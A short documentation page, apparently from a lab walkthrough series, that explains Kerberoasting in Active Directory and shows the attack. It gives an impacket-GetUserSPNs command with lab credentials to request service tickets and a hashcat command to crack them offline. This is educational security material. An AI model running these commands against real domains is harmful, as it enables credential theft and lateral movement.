> For the complete documentation index, see [llms.txt](https://tt0-13.gitbook.io/overview/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://tt0-13.gitbook.io/overview/kerberoast.md).

# Kerberoast

### Theory

When asking the KDC (Key Distribution Center) for a Service Ticket (ST), the requesting user needs to send a valid TGT (Ticket Granting Ticket) and the service name (`sname`) of the service wanted. If the TGT is valid, and if the service exists, the KDC sends the ST to the requesting user.

<figure><img src="https://2000946950-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVLHdKTDYsllKhzWHEKHj%2Fuploads%2FAHZThHaO5OlgEWPWYTZH%2Fimage.png?alt=media&amp;token=4815e35e-1ebf-4e2c-8879-522695207386" alt=""><figcaption></figcaption></figure>

Kerberoasting is a Kerberos abuse technique that targets **service accounts** registered with **Service Principal Names (SPNs)**. In Active Directory, services such as SQL, IIS, or backup software run under domain accounts, and clients authenticate to them using Kerberos service tickets.

#### Why Kerberoasting Is Effective

* Does **not require elevated privileges**
* Works with **any domain user account**
* Tickets can be cracked **offline**
* Service account passwords are often:
  * Long‑lived
  * Weak
  * Rarely rotated
  * Over‑privileged

If the service account has administrative rights, cracking its password can lead to **lateral movement or full domain compromise**.

### Attack

The previous credentials in ASREProast will be utilized in this attack.

```
impacket-GetUserSPNs neptunecorp.local/mohammed.al-qahtani:Password1 -dc-ip 192.168.8.222 -request -outputfile kerberoast.txt
```

<figure><img src="https://2000946950-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVLHdKTDYsllKhzWHEKHj%2Fuploads%2FUWpP9AjYhH6d10BQlBoK%2Fimage.png?alt=media&amp;token=6d1da46e-ce99-46de-a6d6-8dc118e62c84" alt=""><figcaption></figcaption></figure>

Then you can crack the output.

```
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
```

<figure><img src="https://2000946950-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVLHdKTDYsllKhzWHEKHj%2Fuploads%2FeKeVlydR7CXh2rctnSrW%2Fimage.png?alt=media&amp;token=9c7e809b-e290-4bec-a6db-247db7dce62f" alt=""><figcaption></figcaption></figure>
